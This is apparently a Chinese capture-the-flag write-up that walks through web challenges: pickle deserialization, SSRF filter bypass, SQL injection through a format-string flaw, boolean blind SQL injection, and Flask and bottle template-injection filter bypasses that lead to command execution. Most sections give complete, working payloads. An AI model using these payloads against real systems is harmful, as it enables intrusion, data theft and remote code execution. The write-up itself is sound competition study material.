很好的题目,使我的大脑旋转
signin
bottle里面的session可以打一个pickle反序列化
1 | import base64 |
puzzle
改下js判断条件就行
fate
1 | #!/usr/bin/env python3 |
套麻了。题目是给了docker的,可以发现flag在数据库里面
那么最后的攻击点一定是sql,再看哪里能sql注入,路由/1337可以,但是需要本地才能访问1337,正好还给了个proxy路由可以ssrf,但是过滤了字母和.然后再以http://lamentxu.top为开头。
我们先看ssrf怎么绕,这个很基础了,加个@就可以只解析@后面的地址,然后.可以用数字ip:2130706433来替代127.0.0.1所以最后的结果就是:/proxy?url=@2130706433:8080/1337 并且这里直接起一个flask成功不了,解析不了数字ip,得用uWSGI才行。
然后需要满足if code == 'abcdefghi':
,但是前面说过了,ssrf过滤了字母,那我们该怎么办呢?注意到这个判断是在1337路由里面,也就是说在1337路由会进行一次url解码,在proxy路由也会进行一个url解码。那我们可以进行二次编码绕过。具体过程如下
先进行url编码得到%61%62%63%64%65%66%67%68%69,然后再将%换成%25,也就是%的url编码,最后就是**%2561%2562%2563%2564%2565%2566%2567%2568%2569**。这样在proxy路由解码一次变成%61%62%63%64%65%66%67%68%69,在1337路由解码变成abcdefghi,满足条件。
再下面就是将1参数的值进行二进制转字符串(这一步纯粹是想套下面的考点才加的,要不然过不了waf
最后用一个json.loads解析二进制转换的字符串。不触发waf的会再被f-string,执行最后的sql语句
1 | SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))) |
这里用json.loads加载然后直接f’{value}’拼接的话,会造成python格式化字符串漏洞。
比如
1 | import json |
并且现在req[name]是个dict类型的变量
1 | if len(name) > 6: |
这三个waf很轻松的就过了,第一个长度为1,后两个对dict变量使用in,是检查key值,也就是键名。所以都能通过。
再聚焦最后的sql语句,闭合前面的,注释后面的就可以注入了。
1 | SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))) |
先补’再补7个),然后加上a’ union select FATE FROM FATETABLE WHERE NAME=’LAMENTXU’ –这样就可以执行sql了。
最后得到
{“name”:{“‘))))))) union select FATE FROM FATETABLE WHERE NAME=’LAMENTXU’ –”:1}}
汇总一下
1 | /proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000111010101101110011010010110111101101110001000000111001101100101011011000110010101100011011101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101 |
ezsql
随便输入会报:Warning: mysqli_stmt::bind_param(): Number of variables doesn’t match number of parameters in prepared statement in /var/www/html/login.php on line 35
也就是预编译没写好。那我们两个参数都试一下。发现只有username有过滤,那注入点也是这里了。
fuzz一下waf,大概过滤了union,and,-,*,handler,regexp,&,|,like,逗号,空格
并且在username处传单引号会报不一样的错。
所以说就是单引号闭合了。
参考狗哥的文章写一下这题SQL注入一命通关! – fushulingのblog
我们用%09替换空格,然后过滤了逗号,使用from to来代替
先构造一个永真式:’%09or%09’1’=’1’%23
发现没有说密码错误了,那我们可以使用布尔盲注来注入。
这个payload可以成功
1 | payload = f"1000'\tor\tascii(substr(database()\tfrom\t{i}\tfor\t1))>{tmp}" |
测试的时候还发现可以通过报错拿到库名,bushi
1 | payload = f"1000'\tor\tascii(substr(database()\tfrom\t{i}\tfor\t1))>{tmp}" |
但是用python打的时候发现总变成这样的(后来发现是注入成功时会登录成功然后302跳转,用状态码来判断应该就行了)
一个暴库的demo
1 | import requests |
就用yakit的fuzz打了一下,感觉还挺好用的
1 | password=1&username=1000'%09or%09ascii(substr((select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='testdb')from%09{{int(1-30)}}%09for%091))%3d{{int(32-126)}}%23 |
数据处理也很简单,先导出payload再按照数字大小排序就行
1 | import json |
100 111 117 98 108 101 95 99 104 101 99 107 空 117 115 101 114
用32代替没查到的13,解码一下得到
接着看字段
1 | password=1&username=1000'%09or%09ascii(substr((select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='user')from%09{{int(1-50)}}%09for%091))%3d{{int(32-126)}}%23 |
可以得到
secret -> double_check
Host,User,Password,……
最后查值
1 | password=1&username=1000'%09or%09ascii(substr((select%09secret%09from%09testdb.double_check)from%09{{int(1-30)}}%09for%091))%3d{{int(32-126)}}%23 |
得到
secret:dtfrtkcc0czkoua9S
username:yudeyoushang (直接猜有username字段了。这个没什么用,直接万能密码登录就好了
password:zhonghengyisheng
使用账号密码登录会发现直接一个后台,输入密钥后可以执行命令
cat${IFS}/f*>>1
now_you_see_me_1
只关注有关web的部分
1 | # YOU FOUND ME ;) |
很明显是个ssti,但是过滤了好多东西,注意到request放出来了,但是下面的常用的参数都过滤掉了。翻翻flask的文档,可以使用可以使用mimetype获取Content-Type的值。
或者像出题人那样使用request.endpoint
获取到当前路由的函数名,即r3al_ins1de_th0ught
从中,我们能获取字符’d’, ‘a’, ‘t’。这样构造处request.data,然后在body传值就可以ssti了。
del我们重载一下就好了
有个audit_checker,但是没什么作用
最后就是渲染这里:a = flask.render_template_string(‘’)。要先Follow-your-heart-%23}闭合一下就可以ssti了。
那我们来构造rce的payload
传统的继承链过滤了_打不出来
先利用request.mimetype绕过_,
1 | {% set x = config %} |
成功加载到全局变量。
然后再找可利用的rce类这里有一个点要注意不能改get,好像会和config.get冲突,改成gett就好了,这里弄了我好久
说一下一共加的环境变量
1 | 'cla': '__class__', |
payload:
1 | GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09x=config%25}{%set%09a=x.update(tmp=request.mimetype)%}{%25print(x|attr(x.cla)|attr(x.i)|attr(x.glo)|attr(x.gett)(x.bui)|attr(x.gett)(x.eval)(x.tmp))%} HTTP/1.1 |
now_you_see_me_2
1 | # YOU FOUND ME ;) |
加了一些waf,并且把回显去了。禁了更多的request下的类,发现range和endpoint没有被禁。endpoint出题人分析了,这里就不用了。看看range怎么用。
range是获取Range头的内容,但是Range头需要有固定格式xxx=1-100这样的格式。
用这个来获得单个字符request.range|string|random。(我们要的字符多放一点,用random取字符还是有概率拿到不要的)这里我改了题目代码,把回显加上了。
1 | GET /H3dden_route?spell=fly-%23%7D{%set%09x=config%}{%set%09y=x.update(a=(request.range|string|random))%}{%print(config)%} |
这样拿到args后,把四个字符放到一个变量里面
1 | GET /H3dden_route?spell=fly-%23%7D{%set%09x=config%}{%set%09y=x.update(raaaa=(x.a)~(x.r)~(x.g)~(x.s))%}{%print(config)%} |
拿到args就没什么好说的了。这题把回显,内存马什么的都ban了。我们可以利用请求头回显
1 | {{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}} |
基于这个构造我们的payload
1 | GET /H3dden_route?spell=fly-%23%7D{%set%09x=config%}{%set%09y=x.update(ra=request|attr(x.raaaa))%}{%print(x|attr(x.ra.a1)|attr(x.ra.a2)|attr(x.ra.a3)|attr(x.ra.a4)(x.ra.a5)|attr(x.ra.a4)(x.ra.a6)(x.ra.shell))%}&a1=__class__&a2=__init__&a3=__globals__&a4=__getitem__&a5=__builtins__&a6=eval&shell=setattr(__import__('sys').modules['werkzeug'].serving.WSGIRequestHandler,"server_version",eval("''.__class__.__base__.__subclasses__()[147].__init__.__globals__['popen']('whoami').read()")) |
成功回显。
出题人的exp
1 | # -*- encoding: utf-8 -*- |
出题人已疯
1 | # -*- encoding: utf-8 -*- |
还是bottle框架的ssti,但是相比VN的那题,去除了多行,放宽了字符数量限制,依旧是把字符写进变量里面。
我们先把字符数量限制去掉,测一测payload
1 | if payload and 'open' not in payload and '\\' not in payload: |
使用%__import__('os').system('whoami')
,可以看到的确rce了。
然后就是24的长度限制了,我们现在用了37个字符,然后利用bottle执行python代码的方法。
选择导入一个包,这个包要环境自带了,并且名字要短,最后选择os。
然后这样一个一个字符写入。本来尝试过直接往a里面写的,但是上下文不会保存。所以只能这样
1 | %import os;os.a='%' |
写个脚本操作一下
1 | import requests |
最后这样执行命令。要读取flag的话可以写文件然后include读。或者弹shell,打内存马之类的。
1 | %import os;print(os.b) |
出题人又疯
1 | # -*- encoding: utf-8 -*- |
禁用了更多。可以通过unicode字符解析的问题来读文件。{{ open('/flag').read() }}
1 | {{%BApen(%27/flag%27).re%aad()}} |
%C2%BA -> o
%C2%ad -> a
但是使用的时候记得把%C2删掉,要不然会解析成两个字符。
1 | {{%BApen(%27tmp3.py%27).re%aad()}} |
的确读到到了我本地的文件